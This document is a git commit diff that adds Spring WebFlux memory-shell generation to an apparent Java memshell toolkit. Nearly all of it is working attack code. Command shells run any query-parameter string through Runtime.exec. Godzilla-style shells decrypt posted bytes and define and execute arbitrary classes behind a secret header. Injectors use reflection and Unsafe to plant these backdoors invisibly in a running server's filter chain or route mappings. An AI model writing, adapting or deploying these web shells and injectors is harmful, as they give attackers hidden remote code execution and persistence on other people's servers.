feat: support spring webflux shell generate (resolved #6)

2026-09-22 23:11:52 +08:00 · 2024-12-26 00:59:24 +08:00
parent 4e53d03d26
commit 013745b77c
45 changed files with 1510 additions and 20 deletions
@@ -0,0 +1,47 @@
+package com.reajason.javaweb.memshell.springwebflux.command;
+
+import org.springframework.web.reactive.function.server.HandlerFunction;
+import org.springframework.web.reactive.function.server.ServerRequest;
+import org.springframework.web.reactive.function.server.ServerResponse;
+import reactor.core.publisher.Mono;
+
+import java.io.BufferedReader;
+import java.io.InputStreamReader;
+import java.util.Optional;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/25
+ */
+public class CommandHandlerFunction implements HandlerFunction<ServerResponse> {
+    public String paramName = "{{paramName}}";
+
+    @Override
+    public Mono<ServerResponse> handle(ServerRequest request) {
+        Optional<String> cmdOptional = request.queryParam(paramName);
+        if (!cmdOptional.isPresent()) {
+            return Mono.empty();
+        }
+        System.out.println("hanlder function cmd " + cmdOptional.get());
+        try {
+            StringBuilder result = new StringBuilder();
+            try {
+                String cmd = cmdOptional.get();
+                Process exec = Runtime.getRuntime().exec(cmd);
+                try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()))) {
+                    String line;
+                    while ((line = bufferedReader.readLine()) != null) {
+                        result.append(line);
+                        result.append(System.lineSeparator());
+                    }
+                }
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+            return ServerResponse.ok().body(Mono.just(result.toString()), String.class);
+        } catch (Exception ex) {
+            ex.printStackTrace();
+            return ServerResponse.ok().body(Mono.just(ex.getMessage()), String.class);
+        }
+    }
+}
@@ -0,0 +1,43 @@
+package com.reajason.javaweb.memshell.springwebflux.command;
+
+import org.springframework.http.ResponseEntity;
+import org.springframework.web.server.ServerWebExchange;
+
+import java.io.BufferedReader;
+import java.io.InputStreamReader;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/25
+ */
+public class CommandHandlerMethod {
+    public String paramName = "{{paramName}}";
+
+    public CommandHandlerMethod() {
+    }
+
+    public ResponseEntity<?> invoke(ServerWebExchange exchange) {
+        try {
+            String cmd = exchange.getRequest().getQueryParams().getFirst(paramName);
+            System.out.println("handler method cmd: " + cmd);
+            StringBuilder result = new StringBuilder();
+            try {
+                if (cmd != null) {
+                    Process exec = Runtime.getRuntime().exec(cmd);
+                    try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()))) {
+                        String line;
+                        while ((line = bufferedReader.readLine()) != null) {
+                            result.append(line);
+                            result.append(System.lineSeparator());
+                        }
+                    }
+                }
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+            return ResponseEntity.ok(result.toString());
+        } catch (Exception ex) {
+            return ResponseEntity.ok(ex.getMessage());
+        }
+    }
+}
@@ -0,0 +1,46 @@
+package com.reajason.javaweb.memshell.springwebflux.command;
+
+import org.springframework.core.io.buffer.DataBuffer;
+import org.springframework.core.io.buffer.DefaultDataBufferFactory;
+import org.springframework.web.server.ServerWebExchange;
+import org.springframework.web.server.WebFilter;
+import org.springframework.web.server.WebFilterChain;
+import reactor.core.publisher.Mono;
+
+import java.io.BufferedReader;
+import java.io.InputStreamReader;
+import java.nio.charset.StandardCharsets;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/25
+ */
+public class CommandWebFilter extends ClassLoader implements WebFilter {
+    public String paramName = "{{paramName}}";
+
+    @Override
+    public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
+        String cmd = exchange.getRequest().getQueryParams().getFirst(paramName);
+        if (cmd == null) {
+            return chain.filter(exchange);
+        }
+        return exchange.getResponse().writeWith(getResult(cmd));
+    }
+
+    private Mono<DataBuffer> getResult(String cmd) {
+        StringBuilder result = new StringBuilder();
+        try {
+            Process exec = Runtime.getRuntime().exec(cmd);
+            try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()))) {
+                String line;
+                while ((line = bufferedReader.readLine()) != null) {
+                    result.append(line);
+                    result.append(System.lineSeparator());
+                }
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        return Mono.just(new DefaultDataBufferFactory().wrap(result.toString().getBytes(StandardCharsets.UTF_8)));
+    }
+}
@@ -0,0 +1,115 @@
+package com.reajason.javaweb.memshell.springwebflux.godzilla;
+
+import org.springframework.web.reactive.function.server.HandlerFunction;
+import org.springframework.web.reactive.function.server.ServerRequest;
+import org.springframework.web.reactive.function.server.ServerResponse;
+import reactor.core.publisher.Mono;
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import java.io.ByteArrayOutputStream;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/25
+ */
+public class GodzillaHandlerFunction extends ClassLoader implements HandlerFunction<ServerResponse> {
+    public String key = "{{key}}";
+    public String pass = "{{pass}}";
+    public String md5 = "{{md5}}";
+    public String headerName = "{{headerName}}";
+    public String headerValue = "{{headerValue}}";
+    public Class<?> payload;
+
+    public GodzillaHandlerFunction() {
+    }
+
+    protected GodzillaHandlerFunction(ClassLoader parent) {
+        super(parent);
+    }
+
+    @Override
+    public Mono<ServerResponse> handle(ServerRequest request) {
+        String value = request.headers().firstHeader(headerName);
+        if (value == null || !value.contains(headerValue)) {
+            return Mono.empty();
+        }
+        try {
+            Object bufferStream = request.formData().flatMap(map -> {
+                StringBuilder result = new StringBuilder();
+                try {
+                    byte[] data = base64Decode(map.getFirst(pass));
+                    data = x(data, false);
+                    if (payload == null) {
+                        payload = new GodzillaHandlerFunction(Thread.currentThread().getContextClassLoader()).defineClass(null, data, 0, data.length);
+                    } else {
+                        ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
+                        Object f = payload.getDeclaredConstructor().newInstance();
+                        f.equals(arrOut);
+                        f.equals(data);
+                        f.equals(request);
+                        result.append(md5.substring(0, 16));
+                        f.toString();
+                        result.append(base64Encode(x(arrOut.toByteArray(), true)));
+                        result.append(md5.substring(16));
+                    }
+                } catch (Exception ex) {
+                    ex.printStackTrace();
+                }
+                return Mono.just(result.toString());
+            });
+            return ServerResponse.ok().body(bufferStream, String.class);
+        } catch (Exception ex) {
+            return ServerResponse.ok().body(Mono.just(ex.getMessage()), String.class);
+        }
+    }
+
+
+    @SuppressWarnings("all")
+    public static String base64Encode(byte[] bs) throws Exception {
+        String value = null;
+        Class<?> base64;
+        try {
+            base64 = Class.forName("java.util.Base64");
+            Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
+        } catch (Exception var6) {
+            try {
+                base64 = Class.forName("sun.misc.BASE64Encoder");
+                Object encoder = base64.newInstance();
+                value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
+            } catch (Exception ignored) {
+            }
+        }
+        return value;
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] base64Decode(String bs) {
+        byte[] value = null;
+        Class<?> base64;
+        try {
+            base64 = Class.forName("java.util.Base64");
+            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+        } catch (Exception var6) {
+            try {
+                base64 = Class.forName("sun.misc.BASE64Decoder");
+                Object decoder = base64.newInstance();
+                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+            } catch (Exception ignored) {
+            }
+        }
+        return value;
+    }
+
+    public byte[] x(byte[] s, boolean m) {
+        try {
+            Cipher c = Cipher.getInstance("AES");
+            c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
+            return c.doFinal(s);
+        } catch (Exception var4) {
+            return null;
+        }
+    }
+}
@@ -0,0 +1,114 @@
+package com.reajason.javaweb.memshell.springwebflux.godzilla;
+
+import org.springframework.http.ResponseEntity;
+import org.springframework.web.server.ServerWebExchange;
+import reactor.core.publisher.Mono;
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import java.io.ByteArrayOutputStream;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/25
+ */
+public class GodzillaHandlerMethod extends ClassLoader {
+    public String key = "{{key}}";
+    public String pass = "{{pass}}";
+    public String md5 = "{{md5}}";
+    public String headerName = "{{headerName}}";
+    public String headerValue = "{{headerValue}}";
+    public Class<?> payload;
+
+    public GodzillaHandlerMethod() {
+    }
+
+    public GodzillaHandlerMethod(ClassLoader parent) {
+        super(parent);
+    }
+
+    public ResponseEntity<?> invoke(ServerWebExchange exchange) {
+        String value = exchange.getRequest().getHeaders().getFirst(headerName);
+        if (value == null || !value.contains(headerValue)) {
+            return ResponseEntity.notFound().build();
+        }
+        try {
+            Object bufferStream = exchange.getFormData().flatMap(map -> {
+                StringBuilder result = new StringBuilder();
+                try {
+                    byte[] data = base64Decode(map.getFirst(pass));
+                    data = x(data, false);
+                    if (payload == null) {
+                        payload = new GodzillaHandlerMethod(Thread.currentThread().getContextClassLoader()).defineClass(null, data, 0, data.length);
+                    } else {
+                        ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
+                        Object f = payload.getDeclaredConstructor().newInstance();
+                        f.equals(arrOut);
+                        f.equals(data);
+                        f.equals(exchange.getRequest());
+                        result.append(md5.substring(0, 16));
+                        f.toString();
+                        result.append(base64Encode(x(arrOut.toByteArray(), true)));
+                        result.append(md5.substring(16));
+                    }
+                } catch (Exception ex) {
+                    result.append(ex.getMessage());
+                }
+                return Mono.just(result.toString());
+            });
+            return ResponseEntity.ok(bufferStream);
+        } catch (Exception ex) {
+            return ResponseEntity.ok(ex.getMessage());
+        }
+    }
+
+
+    @SuppressWarnings("all")
+    public static String base64Encode(byte[] bs) throws Exception {
+        String value = null;
+        Class<?> base64;
+        try {
+            base64 = Class.forName("java.util.Base64");
+            Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
+        } catch (Exception var6) {
+            try {
+                base64 = Class.forName("sun.misc.BASE64Encoder");
+                Object encoder = base64.newInstance();
+                value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
+            } catch (Exception ignored) {
+            }
+        }
+        return value;
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] base64Decode(String bs) {
+        byte[] value = null;
+        Class<?> base64;
+        try {
+            base64 = Class.forName("java.util.Base64");
+            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+        } catch (Exception var6) {
+            try {
+                base64 = Class.forName("sun.misc.BASE64Decoder");
+                Object decoder = base64.newInstance();
+                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+            } catch (Exception ignored) {
+            }
+        }
+        return value;
+    }
+
+    public byte[] x(byte[] s, boolean m) {
+        try {
+
+            Cipher c = Cipher.getInstance("AES");
+            c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
+            return c.doFinal(s);
+        } catch (Exception var4) {
+            return null;
+        }
+    }
+}
@@ -0,0 +1,123 @@
+package com.reajason.javaweb.memshell.springwebflux.godzilla;
+
+import org.springframework.core.io.buffer.DataBuffer;
+import org.springframework.core.io.buffer.DefaultDataBufferFactory;
+import org.springframework.util.MultiValueMap;
+import org.springframework.web.server.ServerWebExchange;
+import org.springframework.web.server.WebFilter;
+import org.springframework.web.server.WebFilterChain;
+import reactor.core.publisher.Mono;
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import java.io.ByteArrayOutputStream;
+import java.nio.charset.StandardCharsets;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/25
+ */
+public class GodzillaWebFilter extends ClassLoader implements WebFilter {
+    public String key = "{{key}}";
+    public String pass = "{{pass}}";
+    public String md5 = "{{md5}}";
+    public String headerName = "{{headerName}}";
+    public String headerValue = "{{headerValue}}";
+    public Class<?> payload;
+
+    public GodzillaWebFilter() {
+    }
+
+    public GodzillaWebFilter(ClassLoader parent) {
+        super(parent);
+    }
+
+    @Override
+    public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
+        String value = exchange.getRequest().getHeaders().getFirst(headerName);
+        if (value == null || !value.contains(headerValue)) {
+            return chain.filter(exchange);
+        }
+        return exchange.getResponse().writeWith(getPost(exchange));
+    }
+
+    private Mono<DataBuffer> getPost(ServerWebExchange exchange) {
+        Mono<MultiValueMap<String, String>> formData = exchange.getFormData();
+        return formData.flatMap(map -> {
+            StringBuilder result = new StringBuilder();
+            try {
+                byte[] data = base64Decode(map.getFirst(pass));
+                data = x(data, false);
+                if (payload == null) {
+                    payload = (Class) new GodzillaWebFilter(this.getClass().getClassLoader()).Q(data);
+                } else {
+                    ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
+                    Object f = payload.getDeclaredConstructor().newInstance();
+                    f.equals(arrOut);
+                    f.equals(data);
+                    f.equals(exchange.getRequest());
+                    result.append(md5.substring(0, 16));
+                    f.toString();
+                    result.append(base64Encode(x(arrOut.toByteArray(), true)));
+                    result.append(md5.substring(16));
+                }
+            } catch (Exception ignored) {
+            }
+            return Mono.just(new DefaultDataBufferFactory().wrap(result.toString().getBytes(StandardCharsets.UTF_8)));
+        });
+    }
+
+
+    @SuppressWarnings("all")
+    public static String base64Encode(byte[] bs) throws Exception {
+        String value = null;
+        Class<?> base64;
+        try {
+            base64 = Class.forName("java.util.Base64");
+            Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
+        } catch (Exception var6) {
+            try {
+                base64 = Class.forName("sun.misc.BASE64Encoder");
+                Object encoder = base64.newInstance();
+                value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
+            } catch (Exception ignored) {
+            }
+        }
+        return value;
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] base64Decode(String bs) {
+        byte[] value = null;
+        Class<?> base64;
+        try {
+            base64 = Class.forName("java.util.Base64");
+            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+        } catch (Exception var6) {
+            try {
+                base64 = Class.forName("sun.misc.BASE64Decoder");
+                Object decoder = base64.newInstance();
+                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+            } catch (Exception ignored) {
+            }
+        }
+        return value;
+    }
+
+    @SuppressWarnings("all")
+    public Class<?> Q(byte[] cb) {
+        return super.defineClass(cb, 0, cb.length);
+    }
+
+    public byte[] x(byte[] s, boolean m) {
+        try {
+            Cipher c = Cipher.getInstance("AES");
+            c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
+            return c.doFinal(s);
+        } catch (Exception var4) {
+            return null;
+        }
+    }
+}
@@ -0,0 +1,165 @@
+package com.reajason.javaweb.memshell.springwebflux.injector;
+
+import org.springframework.util.Base64Utils;
+import org.springframework.web.reactive.function.server.*;
+import org.springframework.web.reactive.function.server.support.RouterFunctionMapping;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.List;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/25
+ */
+public class SpringWebFluxHandlerFunctionInjector {
+
+    static {
+        new SpringWebFluxHandlerFunctionInjector();
+    }
+
+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    public SpringWebFluxHandlerFunctionInjector() {
+        try {
+            Object webHandler = getWebHandler();
+            Object functionObj = getShell();
+            inject(webHandler, functionObj);
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public Object getWebHandler() throws Exception {
+        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
+        for (Thread thread : threads) {
+            if (thread.getClass().getName().contains("NettyWebServer")) {
+                Object nettyWebServer = getFieldValue(thread, "this$0");
+                Object reactorHttpHandlerAdapter = getFieldValue(nettyWebServer, "handler");
+                Object httpHandler = getFieldValue(reactorHttpHandlerAdapter, "httpHandler");
+                return getFieldValue(getFieldValue(getFieldValue(httpHandler, "delegate"), "delegate"), "delegate");
+            }
+        }
+        return null;
+    }
+
+    private Object getShell() throws Exception {
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        Object interceptor = null;
+        try {
+            interceptor = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+            interceptor = clazz.newInstance();
+        }
+        return interceptor;
+    }
+
+    @SuppressWarnings("unchecked")
+    public void inject(Object webHandler, Object functionObj) throws Exception {
+        Object handler = getFieldValue(webHandler, "delegate");
+        List<Object> handlerMappings = (List<Object>) invokeMethod(handler, "getHandlerMappings", null, null);
+        RouterFunctionMapping routerFunctionMapping = null;
+        for (Object handlerMapping : handlerMappings) {
+            if (handlerMapping.getClass().getName().contains("RouterFunctionMapping")) {
+                routerFunctionMapping = (RouterFunctionMapping) handlerMapping;
+                break;
+            }
+        }
+        RouterFunction<?> routerFunction = routerFunctionMapping.getRouterFunction();
+        RouterFunction<ServerResponse> newRouterFunction = RouterFunctions.route(RequestPredicates.path(getUrlPattern()), ((HandlerFunction) functionObj));
+
+        if (routerFunction == null) {
+            routerFunction = newRouterFunction;
+            RouterFunctions.changeParser(routerFunction, routerFunctionMapping.getPathPatternParser());
+        } else {
+            try {
+                // 缺陷，没法遍历所有的 RouterFunction 来进行判断，所以一个服务每一次注入都尽量更改 urlPattern
+                HandlerFunction<?> handlerFunction = (HandlerFunction<?>) getFieldValue(routerFunction, "handlerFunction");
+                if (handlerFunction.getClass().getName().equals(getClassName())) {
+                    System.out.println("routerFunction already injected");
+                    return;
+                }
+            } catch (Exception ignored) {
+            }
+            routerFunction = newRouterFunction.andOther(routerFunction);
+        }
+        Field field = routerFunctionMapping.getClass().getDeclaredField("routerFunction");
+        field.setAccessible(true);
+        field.set(routerFunctionMapping, routerFunction);
+        System.out.println("routerFunction inject successful");
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
+            Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        try (ByteArrayOutputStream out = new ByteArrayOutputStream();
+             GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData))) {
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Field field = null;
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                field = clazz.getDeclaredField(name);
+                break;
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (field == null) {
+            throw new NoSuchFieldException(name);
+        } else {
+            field.setAccessible(true);
+            return field.get(obj);
+        }
+    }
+}
@@ -0,0 +1,157 @@
+package com.reajason.javaweb.memshell.springwebflux.injector;
+
+import org.springframework.util.Base64Utils;
+import org.springframework.web.method.HandlerMethod;
+import org.springframework.web.reactive.result.method.RequestMappingInfo;
+import org.springframework.web.reactive.result.method.annotation.RequestMappingHandlerMapping;
+import org.springframework.web.server.ServerWebExchange;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.Collection;
+import java.util.List;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/25
+ */
+public class SpringWebFluxHandlerMethodInjector {
+
+    static {
+        new SpringWebFluxHandlerMethodInjector();
+    }
+
+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    public SpringWebFluxHandlerMethodInjector() {
+        try {
+            Object webHandler = getWebHandler();
+            Object handlerMethod = getShell();
+            inject(webHandler, handlerMethod);
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public Object getWebHandler() throws Exception {
+        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
+        for (Thread thread : threads) {
+            if (thread.getClass().getName().contains("NettyWebServer")) {
+                Object nettyWebServer = getFieldValue(thread, "this$0");
+                Object reactorHttpHandlerAdapter = getFieldValue(nettyWebServer, "handler");
+                Object httpHandler = getFieldValue(reactorHttpHandlerAdapter, "httpHandler");
+                return getFieldValue(getFieldValue(getFieldValue(httpHandler, "delegate"), "delegate"), "delegate");
+            }
+        }
+        return null;
+    }
+
+    private Object getShell() throws Exception {
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        Object interceptor = null;
+        try {
+            interceptor = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+            interceptor = clazz.newInstance();
+        }
+        return interceptor;
+    }
+
+    @SuppressWarnings("unchecked")
+    public void inject(Object webHandler, Object handlerMethod) throws Exception {
+        Object handler = getFieldValue(webHandler, "delegate");
+        List<Object> handlerMappings = (List<Object>) invokeMethod(handler, "getHandlerMappings", null, null);
+        RequestMappingHandlerMapping requestMappingHandlerMapping = null;
+        for (Object handlerMapping : handlerMappings) {
+            if (handlerMapping.getClass().getName().contains("RequestMappingHandlerMapping")) {
+                requestMappingHandlerMapping = (RequestMappingHandlerMapping) handlerMapping;
+                break;
+            }
+        }
+        Collection<HandlerMethod> values = requestMappingHandlerMapping.getHandlerMethods().values();
+        Method method = handlerMethod.getClass().getMethod("invoke", ServerWebExchange.class);
+        for (HandlerMethod value : values) {
+            if (value.getMethod().equals(method)) {
+                System.out.println("handlerMethod already injected");
+                return;
+            }
+        }
+        RequestMappingInfo requestMappingInfo = RequestMappingInfo.paths(getUrlPattern()).build();
+        invokeMethod(requestMappingHandlerMapping, "registerHandlerMethod", new Class[]{Object.class, Method.class, RequestMappingInfo.class}, new Object[]{handlerMethod, method, requestMappingInfo});
+        System.out.println("handlerMethod inject successful");
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
+            Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        try (ByteArrayOutputStream out = new ByteArrayOutputStream();
+             GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData))) {
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Field field = null;
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                field = clazz.getDeclaredField(name);
+                break;
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (field == null) {
+            throw new NoSuchFieldException(name);
+        } else {
+            field.setAccessible(true);
+            return field.get(obj);
+        }
+    }
+}
@@ -0,0 +1,136 @@
+package com.reajason.javaweb.memshell.springwebflux.injector;
+
+import org.springframework.util.Base64Utils;
+import org.springframework.web.server.WebFilter;
+import org.springframework.web.server.handler.DefaultWebFilterChain;
+import org.springframework.web.server.handler.FilteringWebHandler;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/24
+ */
+public class SpringWebFluxWebFilterInjector {
+
+    static {
+        new SpringWebFluxWebFilterInjector();
+    }
+
+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    public SpringWebFluxWebFilterInjector() {
+        try {
+            FilteringWebHandler webHandler = getWebHandler();
+            Object filter = getShell();
+            inject(webHandler, filter);
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public FilteringWebHandler getWebHandler() throws Exception {
+        Method getThreads = Thread.class.getDeclaredMethod("getThreads");
+        getThreads.setAccessible(true);
+        Thread[] threads = (Thread[]) getThreads.invoke(null);
+        for (Thread thread : threads) {
+            if (thread.getClass().getName().contains("NettyWebServer")) {
+                Object nettyWebServer = getFieldValue(thread, "this$0");
+                Object reactorHttpHandlerAdapter = getFieldValue(nettyWebServer, "handler");
+                Object httpHandler = getFieldValue(reactorHttpHandlerAdapter, "httpHandler");
+                return (FilteringWebHandler) getFieldValue(getFieldValue(getFieldValue(httpHandler, "delegate"), "delegate"), "delegate");
+            }
+        }
+        return null;
+    }
+
+    private Object getShell() throws Exception {
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        Object interceptor = null;
+        try {
+            interceptor = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+            interceptor = clazz.newInstance();
+        }
+        return interceptor;
+    }
+
+    public void inject(FilteringWebHandler webHandler, Object filter) throws Exception {
+        DefaultWebFilterChain chain = (DefaultWebFilterChain) getFieldValue(webHandler, "chain");
+        List<WebFilter> filters = new ArrayList<>(chain.getFilters());
+        for (Object o : filters) {
+            if (o.getClass().getName().equals(getClassName())) {
+                System.out.println("filter already injected");
+                return;
+            }
+        }
+        filters.add(0, ((WebFilter) filter));
+        DefaultWebFilterChain newChain = new DefaultWebFilterChain(chain.getHandler(), filters);
+        setFinalField(webHandler, "chain", newChain);
+        System.out.println("filter inject successful");
+    }
+
+    public void setFinalField(Object obj, String fieldName, Object value) throws Exception {
+        Field field = obj.getClass().getDeclaredField(fieldName);
+        Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
+        java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
+        unsafeField.setAccessible(true);
+        Object unsafe = unsafeField.get(null);
+        Object offset = unsafe.getClass().getMethod("objectFieldOffset", Field.class).invoke(unsafe, field);
+        unsafe.getClass().getMethod("putObject", Object.class, long.class, Object.class).invoke(unsafe, obj, offset, value);
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        try (ByteArrayOutputStream out = new ByteArrayOutputStream();
+             GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData))) {
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Field field = null;
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                field = clazz.getDeclaredField(name);
+                break;
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (field == null) {
+            throw new NoSuchFieldException(name);
+        } else {
+            field.setAccessible(true);
+            return field.get(obj);
+        }
+    }
+}